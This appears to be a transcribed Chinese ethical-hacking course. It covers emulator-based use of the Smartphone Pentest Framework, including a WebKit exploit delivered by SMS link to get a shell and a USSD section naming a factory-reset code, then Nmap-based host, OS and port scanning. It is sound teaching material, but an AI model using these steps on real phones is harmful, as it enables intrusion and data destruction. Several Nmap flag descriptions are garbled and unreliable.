本节课中,我们一起学习了移动设备面临的多种威胁,包括其技术栈、众多协议、基础设施中的认证点以及整个生态系统。我们了解到,移动设备因其独特架构、丰富的功能和庞大的生态系统,攻击面远大于传统计算机。从供应链风险到应用商店安全,从传感器数据滥用到通信协议漏洞,每个环节都可能成为攻击者的突破口。接下来,我将介绍智能手机渗透测试框架,这将让我们亲手实践,深入了解移动设备漏洞利用的实际操作。
024:智能手机渗透测试框架SPF 📱
在本节课中,我们将学习智能手机渗透测试框架。我们将了解该框架的架构、工作原理、历史背景,并学习如何搭建实验环境,包括安装SPF和创建Android模拟器。
概述

本模块的剩余部分将聚焦于智能手机渗透测试框架。在本小节中,我将向您介绍这个框架。在下一小节中,我将讨论如何使用它,为后续的实验做准备。实验将要求您针对Android模拟器运行一些漏洞利用程序。
移动安全评估工具
有许多工具可以评估移动设备的安全性。Zanti和Mobisac是两种渗透测试工具。移动安全维基的链接介绍了用于取证、开发、静态分析、动态分析、逆向工程、钩子等主题的工具。如果您对移动设备感兴趣,会发现很多有用的信息。
我们将重点介绍智能手机渗透测试框架,因为它是一个曾经通过GitHub可用的工具,并且为该主题提供了一个很好的切入点。1.0版本由Bold Security发布,但开发者后来加入了Chevira公司,并开始重构原始产品。

SPF框架简介
智能渗透测试框架由Georgia Wideman作为DARPA项目开发。它最初在GitHub上可用,但现已不再受支持。当名为Daga的新产品推出后,SPF从GitHub上被移除。我将提供一个最后GitHub版本的压缩包供实验使用。但展望未来,您可能会发现Daga是一个更有用的工具,因为它正在持续更新和改进。
不幸的是,由于移动设备供应商的许可问题,免费版本有其自身的限制。但探索SPF的功能和结构将让您深入了解Daga的工作原理以及如何将其用于渗透测试。
智能手机渗透测试框架是开源的,提供了发起远程攻击、客户端攻击和社会工程学攻击的能力。它还提供了一些对漏洞利用后技术的支持。
许可问题的影响是,具有信息收集功能的代理无法在Daga的免费版本中提供。因此,我选择使用SPF作为学习工具。它虽然不再受支持,但功能更全面,能让您更好地了解Daga商业版本的功能。
SPF架构与工作流程
该框架的设计工作流程如下图所示。在左侧标有Kali的方框中,有一个客户端和一个服务器。与往常一样,如果对渗透测试有价值,服务器可以安装在不同的机器上。客户端控制着运行管理框架的服务器。在我们的案例中,它们都在Kali上。

服务器上的框架与一个特殊的、由测试者拥有的智能手机客户端通信,该手机上安装了一个管理应用。关键在于测试者拥有这部智能手机。因此,手机上的应用和框架彼此知晓,共享通信协议,并且可以相互连接。这种连接允许服务器向管理应用发送命令,并查看其发回的任何数据。因此,在客户端控制的手机和管理框架之间存在命令和数据的交换。
架构的最后一部分是右侧的目标设备。图中显示了两种通信路径。第一种是在客户端控制手机上的管理应用与目标设备之间。管理应用使用此路径向目标发送SMS消息。这些消息可能包含恶意负载(在SPF文档中通常称为“代理”)或设备命令。
第二种通信路径是在目标设备上的代理与管理服务器上运行的Web服务器之间。它提供了返回路径,连接到一直在监听来自目标的HTTP GET请求的Web服务器。通过第一条路径发送给目标的SMS消息可能是在传递一个代理,但也可能是向代理发送有关信息收集、控制命令或旨在提升权限的命令。
攻击步骤详解
这是SPF的另一个视图,讨论了向目标发起攻击所涉及的步骤。
首先,请注意两个移动设备都有与之关联的电话号码。在这张图片中,我们控制的设备号码是15555215554,我们要攻击的设备号码是15555215556。前八位数字总是相同的,但最后两位可能不同。有时由您分配,有时由框架检测。无论如何,区分哪个是哪个很重要。

图中对创建攻击的步骤进行了编号:
- 框架将创建一个管理应用,框架可以使用该应用从受控设备发起针对移动基础设施的攻击。
- 框架使用电话号码和Android设备桥将应用发送到受控设备。ADB是一个命令行工具,可让您与模拟器或连接的Android设备通信。ADB命令有助于安装和调试应用,并提供对Unix shell的访问,以便在设备上运行命令。
- 受控设备使用刚安装的应用连接回管理框架。
- 应管理框架的请求,管理应用将负载或代理中继到目标。再次提醒,不要混淆电话号码。
- 管理应用可能会向目标上的代理中继其他命令,但我们的实验不探索此功能。
- 目标设备上的用户点击SMS消息中的URL,目标上的代理连接回管理框架。
SPF的历史与演变
SPF的历史是:它由Georgia Wideman作为DARPA产品创建,并通过她的安全公司Bold Security公开。那时,它在GitHub上免费提供。她后来与其他人合作成立了一家名为Chevira的新公司。目标是重构SPF的大部分内容,不仅提供安全咨询,还提供一个名为Daga的改进产品。

Daga有一个免费版本,我探索过它的功能,但作为一个学习工具,由于与代理相关的许可问题,它比SPF限制更多。因此,本课程的实验将侧重于使用SPF,您获得的见解将可以转移到Daga。实验说明为有兴趣的人提供了一些关于如何安装Daga的指导。
实验环境搭建:安装SPF

提醒一下,这是第一个非强制性的实验。它是六个非强制性实验之一,您必须选择其中任意四个来完成并提交。
关于安装的一些说明:
- 首先,由于SPF不再在GitHub上可用,我已从我的构建中创建了一个tar文件,它以
SPF.tgz的名称发布在Blackboard上。实验将要求您下载它,解压缩,并将其安装在Kali上。 - 曾经,您可以通过设置环境变量将其加载到32位版本的Kali上,但该功能正在被弃用。当我尝试时,它似乎已经非常不可靠。因此,您需要将其安装在64位虚拟机上。
- SPF还需要MySQL、Apache2和Android SDK,但这些应该随Kali构建一起提供。
以下是SPF的安装步骤回顾。我不会逐条阅读,但会指出,一旦解压tar文件,您就可以访问用户手册和安装脚本。在实验说明中,我提供了对脚本的逐行讨论。您可能希望在安装前查看一下,以便知道在安装不顺利时该寻找什么以及在哪里寻找。
安装脚本将启动Apache和MySQL,但根据您的Kali配置,它们可能不会在重启后自动启动。您可以手动启动它们,或重新配置Kali使其自动启动。如果您决定进行实验,请不要忘记启动这些服务。否则,您将为自己制造不必要的故障排除问题。
安装SPF后,您需要配置它以在您的系统上工作。您应该只需要在配置文件中更改三项。这里列出了它们,假设您的Kali Docker RO和Kali IP地址与我的相同。这些地址对于SPF跟踪其将使用的Web服务器和监听器的位置很重要。
至此,SPF已安装并准备就绪,但我们没有设备进行测试,除非您有一抽屉的手机。因此,我们需要构建一些Android手机模拟器。当模拟器运行时,它们会消耗大量主机资源,所以请对实验的这一部分保持耐心。
另一点是,Android开发工具在不断变化、更新和改进。本实验确定的方法基于特定时间点的工具集。因此,该方法可能会过时。因此,互联网上的搜索可能会为Android开发者提供不同的指导。您当然可以选择任何您想使用的工具和方法来使Android模拟器工作,但实验说明中的指导应该有效,即使它不是最新的思路。如果您对Android开发没有太多专业知识,我建议您遵循实验说明中的方法。
构建Android模拟器
Android SDK工具和Android SDK平台工具是开发人员包,您确实需要最新版本。然后,Android SDK构建工具将决定您可以构建哪个版本的Android设备。
一如既往,版本很重要,因为漏洞利用通常与特定版本及其中的错误相关联。下载构建工具后,您可以通过从“包”选项卡切换到“工具”选项卡来创建模拟器。

如之前所述,我们需要一个受控的Android设备和一个目标Android设备。因此,我们至少需要两个模拟器,但实际上您需要更多,因为我们将运行的攻击只针对特定版本的Android。

第二个要点提供了Android平台版本与相关API级别之间的链接。例如,要构建Galaxy 7,您需要构建API级别24的构建工具。
这是我的Android设备管理器的屏幕截图,显示了我构建的一些模拟器。至少,您必须构建一个Android 2.1模拟器来测试WebKit漏洞。我使用Android 1.6进行USSD攻击,但它也应该在Android 2.1设备上工作。您还需要一个受控设备模拟器。我为此使用了Nexus 4.0,主要是因为Android的后期版本似乎需要明显更多的主机资源。您可以看到我构建了一个Galaxy 7,但没有在实验中使用它。
当您点击“创建”来构建新模拟器时,您会看到这个屏幕截图。您创建的名称不能有空格,并从下拉菜单中选择要创建的平台。其余选择的指导原则是:您希望为ARM CPU构建模拟器;您希望选择带有动态硬件控制的皮肤,以便从计算机控制设备;并且您需要100MB SD卡,以便可以将文件下载到模拟器。点击“确定”后,模拟器将被构建。

启动模拟器
一旦模拟器构建完成,您可以从同一个Android管理器屏幕启动它们。只需高亮显示模拟器并点击“启动”。此时,根据您主机的资源情况,您可能需要一杯咖啡。模拟器启动可能需要很长时间。我们需要启动其中两个:一个是受控设备,一个是目标设备。
这是我的Nexus 4.0在左侧和Galaxy 7.0在右侧的屏幕截图。正是这种探索让我确信Galaxy使用了太多资源。您可以看到两个模拟器右侧的控制栏。

现在,您应该理解了智能手机渗透测试框架以及如何构建Android模拟器。下一讲我们将开始有趣的部分,学习如何使用SPF对目标发起攻击。
总结

本节课中,我们一起学习了智能手机渗透测试框架的基本概念、架构和历史。我们了解了SPF如何通过受控设备、管理框架和目标设备之间的交互来发起攻击。此外,我们还详细介绍了如何搭建实验环境,包括在Kali上安装SPF以及使用Android SDK工具创建和启动必要的Android模拟器。这些知识为后续实际进行渗透测试攻击打下了基础。
025:使用SPF框架 📱
在本节课中,我们将学习如何使用智能手机渗透测试框架(SPF)来对Android模拟器进行渗透测试。我们将涵盖创建管理应用、将其部署到受控设备、连接回框架,并最终执行攻击的完整流程。
启动与初始化框架

上一节我们介绍了SPF框架的基本概念,本节中我们来看看如何启动和初始化它。
启动框架的语法如下:
./spf
启动后,您将看到CLI菜单界面。
框架启动并运行后,第一件事是选择选项7来清除数据库。这会清除与之前使用相关的任何数据。由于我是从我的构建中启动SPF的,很可能存在一些与我环境和工具使用相关的残留数据。在测试过程中,尤其是在框架似乎行为异常时,您可能需要多次执行此操作。实际上,出于我们的目的,您可能应该在每次启动框架时都清除它,因为我们并不打算在数据库中存储任何数据。


选择攻击渠道

从管理设备到目标的攻击渠道可以是SMS或NFC。菜单会频繁要求您做出此选择。由于我们使用的是模拟器,我们的任何设备上都没有近场通信功能,因此您应始终选择SMS。如果您正在对真实的物理设备进行渗透测试,则可能希望选择NFC来传递有效载荷。
创建并部署管理应用
第一步是在框架中创建管理应用,并将其安装到充当受控设备的模拟器中。此应用将通过HTTP与框架交互,并通过SMS向目标传递代理和命令。

以下是获取管理应用到自有设备,然后使应用连接回框架的步骤。选择选项4“将框架连接到移动调制解调器”。显然,我们没有真实的调制解调器可连接。因此,不要被这个术语所迷惑。即使我们连接到的是模拟设备,步骤也是相同的:1. 在框架中构建应用。2. 通过ADB将应用部署到自有设备。3. 运行应用并连接回框架。

构建菜单项是选项3“生成基于智能手机的应用”。当您进行此选择时,系统将要求您提供有关目标的几个输入。不要在这里混淆。框架正在构建管理应用,但它询问的是目标,即管理应用将向其传递有效载荷的设备。它不是在询问将安装管理应用的受控设备。这意味着两个模拟器都需要正在运行。因此,您需要知道目标的电话号码。这也意味着,如果您重新启动系统或重新启动模拟器,并且目标的电话号码发生变化,您需要重新构建管理应用。控制码可以是任何七个字符,将用于向有效载荷进行身份验证。URL是框架上Web服务器的路径,当目标选择SMS中的链接时将与之交互。对于此目录条目,请输入正斜杠和您选择的目录名称。我使用/bad。此路径相对于安装SPF时配置文件中输入的Web服务器文档根目录。在我的情况下,完整路径将是/var/www/html/bad,尽管我只输入了/bad。如果您在回答此提示时忘记了斜杠,文件将位于错误的位置,一切将无法工作。因此,请注意您的操作。Web服务器的IP地址将由框架自动处理,因此不会询问您。回答所有提示后,应用应该被创建,您应该收到“构建成功”的响应。如果您没有收到构建成功的消息,请返回重试。不要继续,因为一切都不会工作。
我们刚刚构建的应用现在需要部署到受控设备,这是通过ADB使用菜单选项5“通过ADB安装应用”完成的。选择该选项后,框架将显示它检测到的设备。在这种情况下,由于两个模拟器都在网络上,SPF会同时看到它们。请确保选择充当受控设备的模拟器,而不是目标。当框架提示如何安装时,选择“安装框架Android应用(无NFC)”,因为模拟器没有NFC功能。应该返回成功消息。如果您没有收到该消息,请不要继续,因为使用SF的每一步都取决于前一步是否成功。


这是我的Nexus模拟器的屏幕截图,上面安装了名为“Frame Android app”的应用。


连接管理应用回框架

应用安装后,需要连接回框架,以便由框架管理和控制。框架通过菜单选项2“连接到基于智能手机的应用”启动此过程。选择选项2后,您将看到与构建应用时相同的提示。最大的区别是,现在的答案应代表受管设备,实际上是攻击者,而不是目标。回答每个提示后,框架进入监听模式,等待受控设备建立连接。因此,下一步是进入受控模拟器并启动框架Android应用。


此屏幕截图仅演示了Kali的文档根目录用于SPF目录。用于目标连接回的恶意URL的目录,与框架用于控制框架Android应用的URL不同。


因此,Kali上的框架正在监听/var/www/html/spf。您需要进入模拟器,启动应用,并输入框架提示时刚刚输入的信息。输入信息后,点击“附加”,受控设备上的框架应用将连接回框架。如果附加成功,模拟器将为您提供一个命令菜单。如果您返回查看框架,您应该返回到主菜单。如果您没有获得这些指示,则附加不成功。您不应继续。


这是成功附加后模拟器上命令菜单的屏幕截图。

对目标模拟器发起攻击

现在,让我们尝试对充当目标的模拟器发起攻击。如果附加成功,您应该位于主菜单,可以选择选项6“运行社会工程或客户端攻击”。然后选择选项2“客户端Shell”,再选择选项1“CVE-2010-1759 Webkit Vm Android”,系统将要求您回答几个提示。第一个提示是您想给恶意网页起的名称。您希望使用一个与SMS消息文本一致的链接,以诱使用户点击该链接。第二个提示是传递方法。再次强调,使用模拟器时,答案始终是SMS。第三个提示是目标电话号码,短信将发送到该号码。此时,Kali上的监听器正在等待Shell打开。但如果目标不易受攻击,监听器会超时并告知您目标不易受攻击。在我的案例中,我对我的Galaxy模拟器运行了此攻击,它不易受攻击。因此监听器超时了。


这是从我的Nexus模拟器发送到我的Galaxy模拟器的SMS消息的屏幕截图。监听器最终超时。请注意,框架将消息发送到了Nexus设备上的框架Android应用,但此时该设备仅充当中继。因此,Nexus上没有指示短信已发送。



问题是,为什么漏洞利用没有成功?答案很简单。Galaxy上的操作系统不是该软件的易受攻击版本。CVE日期是2010年,但Galaxy使用的Android V7是在2016年发布的。如果我们反向搜索2009年可用的Android版本,看起来1.6、2.0、2.1是我们的最佳选择。我尝试对1.6进行漏洞利用,但没有成功,但对2.1成功了。

此屏幕截图显示了对Nexus 1的攻击,这是谷歌第一款基于Donut或Android V1.6的Nexus智能手机。但此版本不易受攻击,正如框架上的红框告诉用户的那样。



此屏幕截图显示了对Android版本2.1(称为Eclair)的攻击,并且此攻击成功了。它显示了发送到2.1模拟器的SMS消息。当我点击链接时,框架上打开了一个Shell,并自动运行了whoami命令。UID是10000,因此我们没有root权限,但我们确实获得了移动设备的Shell。另请注意,在SMS消息中,我没有提供自定义文本,并且我选择了一个通常会降低信任度的路径名。这些对于实验来说不是关键问题。但在现实世界中,通过更改这两者,我可能会说服目标上的用户选择SMS消息中的URL。

此屏幕截图显示了在Android模拟器上运行的Shell中执行ls命令,以及所有显示的响应都返回到SPF框架上。

理解并执行USSD攻击
在讨论USSD攻击之前,我们需要了解什么是USSD。它基本上是一组由服务提供商支持的功能代码,可以从设备发送到提供商的服务器,以请求服务或信息。例如,一个功能代码可能用于更改电话配置。另一个可能请求付款信息或请求回拨。USSD通常由服务提供商定制,因此没有单一的功能列表可用。USSD消息最多可达182个字符,它们通常通过即时建立的连接发送。一旦建立,连接保持打开状态,可用于数据交换。在手机上的工作方式是:打开拨号器,输入USSD代码,然后点击拨号。代码被发送,服务提供商解析USSD内容并提供请求的服务。USSD消息始终以星号*开头并以井号#结尾。因此,在消息内部相对容易识别和解析,其中包含由额外星号分隔的整数组,单个数字字符串代表发送给服务提供商的命令或数据。
以下是一些示例USSD代码。首先,请注意Verizon不遵循USSD标准,这告诉我们代码是由提供商定制的,我们在发起USSD攻击之前需要进行一些研究。然而,请注意,通用代码确实存在,并且每个提供商应以相同的方式使用它们。*#06#返回IMEI号码,这是一个可以通过发送相关USSD消息收集的有用信息。*2767*3855#是另一个通用消息,但这很容易被恶意使用,导致设备恢复出厂设置。
这显示了对电话号码为5556的Android 1.6发起USSD攻击的步骤。其工作方式是USSD代码会自动在设备的拨号器中打开。由于这些特定的USSD代码在本地处理,它们不需要发送到服务提供商。在拨号器中打开它们就足够了,设备将解析并响应代码。这意味着需要非常小心地发起USSD攻击,因为在现实世界中,根据所选的代码,它可能会损害设备。在我们的虚拟世界中,通过简单地重启或最坏情况下重建模拟器来恢复要容易一些。对于安全攻击,USSD代码只是*#06#,它请求IMEI号码。但请注意,由于我们的模拟器没有真实的基带处理器,模拟器实际上不响应USSD代码,但我们可以看到它已加载到拨号器中。

此屏幕显示我发起了三次不同的攻击,因为我尝试了SF功能。每次我都选择了不同的恶意路径。您可以看到,当SMS消息到达并且我选择恶意链接时,USSD代码已从网页发送到拨号器。


总结

本节课中我们一起学习了如何使用智能手机渗透测试框架。我们部署了管理应用,将控制应用附加回框架,并对目标发起了几次攻击。我们还讨论了I/O越狱和移动设备的威胁空间。接下来,我们将学习Wi-Fi漏洞利用。


026:主机发现扫描
在本节课中,我们将学习在网络侦察阶段完成后,如何对获取的IP地址和网段进行扫描。扫描过程包含多个组成部分,我们将从介绍方法论开始,并首先花时间探讨主机发现。主机发现旨在确定目标局域网段中是否有计算机处于开机运行状态。本讲后续部分将涵盖扫描的其他方面,包括尝试确定操作系统、识别开放的端口与服务,以及在这些运行的服务中寻找漏洞。
扫描方法论概述
上一节我们介绍了扫描的整体目标。本节中,我们来看看扫描方法论的递进过程。

我们首先进行侦察并收集IP地址。现在,我们希望采用一种逐步深入、获取越来越多细节的方法进行扫描。
- 第一阶段:尝试识别网络中的活跃主机。技术包括Ping扫描和主机发现扫描。
- 第二阶段:尝试识别那些已被确定为正在运行的计算机的操作系统。
- 第三阶段:查看哪些端口是开放并处于监听状态的,并尝试识别运行在这些端口上的服务。
- 第四阶段:对我们看到的正在运行的服务版本进行漏洞扫描。
扫描工具的一个基本思想是利用不同厂商对标准的实现存在细微差异这一事实。这些差异可以被检测到,从而用于判断软件版本。但需要注意的是,由于多种原因,扫描器并非完美无缺。因此,在推进过程中,运用批判性思维逐步执行方法论至关重要。

网络建模与映射
理解了方法论后,我们需要考虑在映射网络时可能遇到的情况。本幻灯片展示的思想是,我们希望为网络建立模型。在建模时,我们的映射中需要考虑四种可能性。
- 我们看到不在渗透测试范围内的计算机。
- 我们认为属于IP地址块但似乎处于离线状态的计算机。
- 我们被允许且能够扫描的、存在漏洞的计算机。
- 我们被允许且能够扫描的、没有漏洞的计算机。
在这四种情况中,前两种可以从进一步研究中排除。请记住,除了工作站和服务器,我们对防火墙、路由器和其他网络组件也感兴趣。通常,我们位于防火墙外部,映射内部网络的成功率通常低于映射DMZ(非军事区)中的内容。
在进行映射时,traceroute和tracert很容易被防火墙击败。这是因为traceroute传输ICMP回显请求数据包,而大多数环境会在边界阻止此类数据包。如果使用-T开关,traceroute也会传输TCP SYN数据包,但默认情况下,它针对33000以上的UDP端口,同样,大多数防火墙默认会阻止此行为,因此该工具很容易失效。
但是,如果渗透测试人员针对防火墙上的一个开放端口呢?换句话说,如果他们向你的Web服务器传输TCP 80数据包,但以类似于traceroute的方式改变TTL值呢?这正是TCP traceroute工具的工作原理。像这样的工具有时可以帮助直接穿透防火墙进行映射。
以下是三个命令的语法示例。你应该在你的道德黑客环境中测试traceroute和TCP traceroute,以观察它们如何与防火墙交互。
traceroute <目标IP或域名>traceroute -T <目标IP或域名>(使用TCP SYN)tcptraceroute <目标IP或域名> <端口号>
常用扫描工具介绍
在开始具体扫描步骤前,我们先熟悉一些常用工具。Nmap是最著名、最常用的映射工具。它是免费的,并且有在线手册提供额外使用指导,帮助你了解各种工具选项。其他三种工具(如Nessus, OpenVAS, Qualys)并非免费。专业渗透测试人员会购买这些工具,但本课程中我们不会使用它们,尽管你可以有限度地免费试用。
下面的图表为我们的扫描方法论图示添加了文字描述。接下来,我们将具体讨论每一个步骤。
主机发现:Ping与Ping扫描
现在,让我们进入扫描的第一个具体阶段:主机发现。最简单的工具之一是Ping。只需尝试使用ICMP回显请求来ping IP地址。我们也可以尝试使用原本设计用于协调时间的ICMP时间戳ping。
ICMP是互联网控制报文协议,它与IP协议处于同一层,因此有自己独特的报文格式。它们被封装在IP数据包中,但不像典型的IP数据包那样被处理。ICMP有许多不同的消息类型,其中许多已被弃用。

我们也可以发送设置了特定标志的TCP数据包来实现略有不同的目标。当然,大多数防火墙和入侵检测系统(IDS)会检测并丢弃这些扫描。因此,我们可能需要更复杂的技术来实际发现主机。一个被阻止的查询并不一定意味着主机没有存活。
我们也可以使用Nmap进行主机发现。我将在讨论操作系统指纹识别时再讨论这一点。然而,使用Nmap的主机发现功能时需要小心,因为它可能产生大量“噪音”。
这是一个Ping命令的截图。你可以通过域名或IP地址进行ping。当你通过域名ping时,它会使用DNS解析器提供的IP地址。然而,请注意,Ping一次只能处理一个IP地址,这对于大型网络来说不是一个可扩展的工具。

Ping扫描与FPing工具
针对单一主机的Ping功能有限,对于需要扫描整个网段的情况,我们需要更高效的工具。公司可能拥有整个IP地址块,但我们希望遍历它们以查看哪些节点正在运行。这被称为Ping扫描。很多时候,组织会被分配地址块,但不会全部使用。我们需要找到他们正在使用的那些。
Ping本身不便于进行Ping扫描,但有很多工具可以做到。在大多数Linux发行版上最容易找到的工具是FPing,它允许你指定起始和结束的IP地址。在这里你可以看到,我在外部局域网段上运行了三台虚拟机,它们都被识别为活跃主机,并且它还识别出了一个VirtualBox适配器。
FPing也接受CIDR表示法,这是一种IP地址及其关联路由前缀的紧凑表示法。该表示法由IP地址和前缀大小构成。前缀大小等于路由掩码中前导1位的数量。IP地址根据IPv4或IPv6的标准表示,后跟一个斜杠字符和以十进制数表示的前缀大小。
例如:
192.168.1.0/24等价于192.168.1.0加上子网掩码255.255.255.0。192.168.100.0/22表示从192.168.100.0到192.168.103.255的1024个地址。
总结与下节预告
本节课中,我们一起学习了网络扫描的基础方法论,并重点探讨了主机发现阶段。我们介绍了如何使用Ping进行单一主机探测,以及如何使用FPing等工具对整个IP地址段进行高效的Ping扫描。我们还了解了网络建模时需要考虑的四种主机状态,以及traceroute和TCP traceroute在穿透防火墙映射路径时的不同表现。

我已经讨论了主机发现,但主要集中在Ping上,并未深入Nmap的语法。接下来,我将讨论操作系统识别,同时简要介绍Nmap同时进行发现和检测的能力。
027:操作系统识别 🔍
在本节课中,我们将学习操作系统识别技术。这是道德黑客信息收集阶段的关键步骤,能帮助攻击者了解目标系统的类型和版本,从而寻找潜在的漏洞。然而,识别机制并非完美无缺,我们将探讨其原理、常用工具以及局限性。
概述

操作系统识别能为道德黑客提供有价值的信息。但正如本模块将要学习的,检测机制并不完美。不同系统对RFC标准的实现差异有时能提供识别方法,但这并非总是有效。每种实现可能不同,而使用的识别特征可能已经过时或完全错误。
Nmap工具与操作系统识别
上一节我们提到了识别机制的原理,本节中我们来看看最著名的识别工具之一:Nmap。Nmap最知名的功能之一就是利用TCP/IP协议栈指纹进行远程操作系统识别。
以下是使用Nmap尝试识别一台JA2 APL名称服务器的截图示例。

Nmap会向远程主机发送一系列TCP和UDP数据包,并在执行数十项测试后检查响应中的几乎每一位信息。这些测试包括:
- TCP初始序列号采样
- 支持的TCP选项
- TCP时序细节
- IP ID采样
- 初始窗口大小检查
之后,Nmap将结果与其包含超过2600个已知操作系统指纹的NmapOSDb数据库进行比较。如果找到匹配项,则打印出操作系统详细信息。每个指纹都包含操作系统的自由格式文本描述和一个分类,该分类提供供应商名称、底层操作系统、操作系统世代或版本以及设备类型。
截图显示了较高的置信度,但在此案例中,将名称服务器的操作系统识别为思科交换机是不正确的。错误可能由多种原因引起,但可能与交换机在名称服务器前端充当负载均衡器有关。
Nmap扫描选项详解
对于Nmap,-sT和-sO选项都能进行主机识别,但-sT比-sO更稳健。-sO进行主机发现和操作系统指纹识别,它比简单的ping更复杂,尽管它也是从ping开始的。实际上,如果存在防火墙吸收了ping请求,Nmap会停止并建议您使用-Pn选项关闭ping探测。

-sA选项则同时执行主机操作系统指纹识别和版本检测。以下截图显示了对Metasploitable(一个存在漏洞的Linux版本)的扫描。


Metasploitable有时被称为Ubuntu构建版。但由于Ubuntu是从Debian分叉出来的,因此扫描器通过SMB协议运行的Nmap脚本将操作系统识别为Debian。请注意,脚本生成的结果与Nmap之前打印出的结果略有不同。

这是针对我的Debian虚拟机的Nmap扫描截图。本次扫描和之前的扫描都使用了-sA选项。

以下是Nmap中与检测相关的主要选项:
-sV:启用版本检测。-O:启用操作系统指纹识别。-A:启用操作系统指纹识别和版本检测,以及未来Nmap版本中可能添加的任何其他高级功能。
Nmap识别机制深度解析
现在我们已经了解了基本选项,本节中我们来深入看看Nmap的识别机制。这是Nmap在线手册第8章关于操作系统检测的截图。

我将其包含在此,是为了让你了解在线手册中的详细内容,同时也为了展示操作系统检测功能的健壮性。它列出了Nmap在尝试识别操作系统时所经历的步骤。你可以看到,除非启动扫描器并观察外发流量,否则你永远不会看到有许多功能在后台运行。
Nmap的识别依赖于两个主要数据库:
nmap-services数据库:包含超过2200种知名服务的指纹。nmap-service-probes数据库:包含用于查询各种服务的探针以及匹配表达式,以支持对响应的识别和解析。
Nmap使用指纹信息尝试确定:
- 服务协议:例如
FTP、SSH、Telnet、HTTP。 - 应用程序名称:例如
ISC BIND、Apache HTTPD、Solaris Telnetd。 - 版本号
- 主机名
- 设备类型:例如打印机或路由器。
- 操作系统系列:例如
Windows或Linux。
总结
本节课中我们一起学习了操作系统识别技术。我们认识到,虽然通过协议栈差异进行识别是可能的,但机制并不完美,可能存在误报。我们重点介绍了Nmap这一强大工具,它通过发送特定探测包并与庞大的指纹数据库比对来进行识别。常用的扫描选项包括-O(OS指纹)、-sV(版本检测)和-A(综合检测)。我们只是浅尝辄止地了解了操作系统检测,建议查阅Nmap手册的操作系统检测章节以深入了解此主题。

既然我们已经知道目标IP正在运行,并且可能已经识别了操作系统,接下来我们将开始寻找开放的端口以及在这些端口上监听的有趣服务。
028:端口扫描第1部分 🔍
在本节课中,我们将要学习端口扫描的核心概念。端口扫描是确定哪些端口开放并运行着服务的技术。我们将探讨其基本原理、常用工具(特别是Nmap)以及各种扫描技术,包括TCP连接扫描、SYN扫描和其他特殊扫描类型。理解这些技术是后续进行漏洞评估和渗透测试的基础。
什么是端口扫描?🚪
端口扫描是确定哪些端口开放并运行着服务的艺术。
当计算机没有任何保护机制时,执行此操作很容易。但当其前方有防火墙等设备时,任务就变得复杂了。
我们已经确定了计算机正在运行的事实。我们可以向其发送数据包,并且可能已经确定了其操作系统。但当我们开始查看单个端口时,我们发现我们仍处于道德黑客方法论的扫描阶段。

这是对端口是什么的另一种看法。我们有一个地址(IP地址),并且可能有多种方式进入房子(系统),但我们不知道哪些入口点是可访问或未上锁的。而且可以肯定的是,我们不知道它们后面是什么。所以思路是,我们将去推推门和窗户,看看会发生什么。
Nmap的默认端口扫描行为 ⚙️
当用户未指定要扫描的端口时,Nmap会查看最常用的1000个端口。这加快了Nmap扫描速度,但可能会错过管理员移动的端口。
下表显示了RFC 1700中定义的一些最著名的端口,其中一些我们在防火墙上开放过。然而,前1024个著名端口与Nmap扫描的最常用的1000个端口并不相同。理解这个概念很重要。如果你不指定特定的端口或端口范围,你可能会跳过你认为正在被扫描的端口。


Nmap在nmap-services文件中维护了一个最常用端口的列表。通常,除非用户另有指定,Nmap在按频率排序后,会扫描此文件中的前1000个条目。这种排序针对每种扫描协议进行,换句话说,UDP和TCP扫描是彼此独立处理的。
命令行开关 -F(代表快速)将扫描限制在列表中的前100个端口,而不是前1000个,以加快扫描速度。
如果端口频率信息不可用(可能是由于使用了自定义的Nmap服务文件),Nmap会扫描所有命名端口加上0到1023号端口。大多数Linux发行版在 /etc/services 定义命名端口,Windows则在 \system32\drivers\etc\services。这些通常与1024个著名端口有交集,但命名端口远不止1024个。Nmap的这一默认功能在在线手册 nmap.org/book/nmap-services.html 中有讨论。

发现开放端口的技术 🛠️
以下是四种发现开放端口的技术。
主动端口扫描和被动端口扫描是显而易见的,但你也可以尝试从系统管理员和渗透测试文档中获取信息。渗透网络配置信息通常是攻击者在实际发起攻击前数月尝试的第一步。
此处显示的YouTube链接来自Schmookcon会议。它包括一个演示,展示了如何扫描整个互联网上端口5900的VNC服务器。虚拟网络计算(VNC)允许您在世界任何地方访问和控制您的桌面应用程序。有趣的是,他们构建了虚拟基础设施来实际扫描整个互联网,但排除了某些政府组织和请求不被扫描的实体。
端口扫描工具概览 🧰
以下是几个端口扫描工具,当然还有很多其他工具。
但我们将专注于使用Nmap作为我们的主动扫描器,因为它易于获取、常用且持续改进。Nmap已经存在很长时间,但仍然经常被系统管理员用来扫描网络。他们也可能使用其他工具,但Nmap始终在工具箱中。
我们已经简要讨论了Nmap的功能,包括主机发现和操作系统检测。现在我们将专注于端口状态以及在这些端口上运行的服务。但首先,关于主机发现的一个说明。Nmap从ICMP ping开始,然后转向特定端口上的其他数据包类型,最后再回到ICMP时间戳数据包(即ping)。另一个重点是Nmap有一个脚本引擎(NSE),这个工具提供了许多超越经典Nmap的增强功能,包括运行一些漏洞脚本的能力,并且不断有新的脚本加入。事实上,你可以提交脚本以纳入该工具。关于这一点稍后会详细说明。但关键是,Nmap正在获得更多功能,并正在演变成一个远不止用于识别开放端口的简单工具。
理解TCP连接与扫描类型 🤝
要理解最常见的Nmap扫描类型,我们需要理解TCP连接协议。如果TCP连接对你来说有点神秘,这张图只是将这个想法放入了电话呼叫的常见情境中。
下图显示了TCP连接序列,通常称为三次握手。
发起方发送一个SYN包,收到一个SYN-ACK包,然后返回一个ACK。
此时,TCP流量可以在相关方之间交换。
更具体地说:
- 对于SYN包:客户端向服务器发送SYN以执行主动打开。客户端将段序列号设置为随机值A。
- 对于SYN-ACK包:作为响应,服务器回复一个SYN-ACK。确认号被设置为接收到的序列号加一(即A+1),服务器为该数据包选择的序列号是另一个随机数B。
- 最后,客户端向服务器发送一个ACK。序列号被设置为接收到的确认值(A+1),确认号被设置为接收到的序列号加一(B+1)。
请注意,要建立连接,发起者必须指定要连接哪个端口。
当人们谈论SYN包和ACK包时,他们指的是设置了相关标志位的数据包。标志位可以有很多种设置方式,但出于扫描目的,我们最感兴趣的是用红色高亮显示的三个:
- ACK:表示确认字段有效。客户端发送初始SYN包之后的所有数据包都应设置此标志。
- RST(复位):告诉接收方重置连接。
- SYN:表示接收方应同步序列号。只有从每一端发送的第一个数据包应设置此标志。
其他一些标志的含义会基于此标志改变,有些仅在设置时有效,有些则在清除时有效。
两种主要的Nmap扫描类型 🔬
